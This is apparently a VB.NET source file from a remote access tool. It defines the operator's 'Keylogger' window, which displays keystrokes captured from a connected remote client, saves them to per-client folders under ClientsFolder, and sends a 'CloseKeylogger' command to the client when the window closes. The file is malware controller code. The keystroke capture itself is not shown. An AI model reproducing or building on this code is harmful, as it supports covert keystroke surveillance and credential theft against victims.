58 lines
2.1 KiB
VB.net
58 lines
2.1 KiB
VB.net
Imports System.IO
|
|
Imports System.Text
|
|
Imports System.Threading
|
|
Public Class Keylogger
|
|
|
|
Public C As Client
|
|
Public CID As String
|
|
Public Strb As New StringBuilder
|
|
Private Sub ToolStripMenuItem2_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem2.Click
|
|
If (T1.Find(TFind.Text, (T1.SelectionStart + T1.SelectionLength), RichTextBoxFinds.None) = -1) Then
|
|
T1.Find(TFind.Text, 0, RichTextBoxFinds.None)
|
|
End If
|
|
End Sub
|
|
|
|
Private Sub ToolStripMenuItem3_Click(sender As Object, e As EventArgs) Handles ToolStripMenuItem3.Click
|
|
Try
|
|
If Not String.IsNullOrEmpty(T1.Text) Then
|
|
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", CID, "Keylogger")
|
|
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
|
|
|
|
Dim objWriter As New System.IO.StreamWriter(fullPath & "\KeyLogger_" & Date.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".txt", False)
|
|
objWriter.WriteLine(T1.Text)
|
|
objWriter.Close()
|
|
|
|
End If
|
|
Catch ex As Exception
|
|
MessageBox.Show(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
|
Try
|
|
If Not C.IsConnected Then
|
|
Close()
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine(ex.Message)
|
|
End Try
|
|
End Sub
|
|
|
|
Private Sub Keylogger_FormClosing(sender As Object, e As FormClosingEventArgs) Handles Me.FormClosing
|
|
Dim B As Byte() = SB("CloseKeylogger")
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
|
End Sub
|
|
|
|
Private Sub CopyToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles CopyToolStripMenuItem1.Click
|
|
T1.Copy()
|
|
End Sub
|
|
|
|
Private Sub SelectAllToolStripMenuItem1_Click(sender As Object, e As EventArgs) Handles SelectAllToolStripMenuItem1.Click
|
|
T1.SelectAll()
|
|
End Sub
|
|
End Class |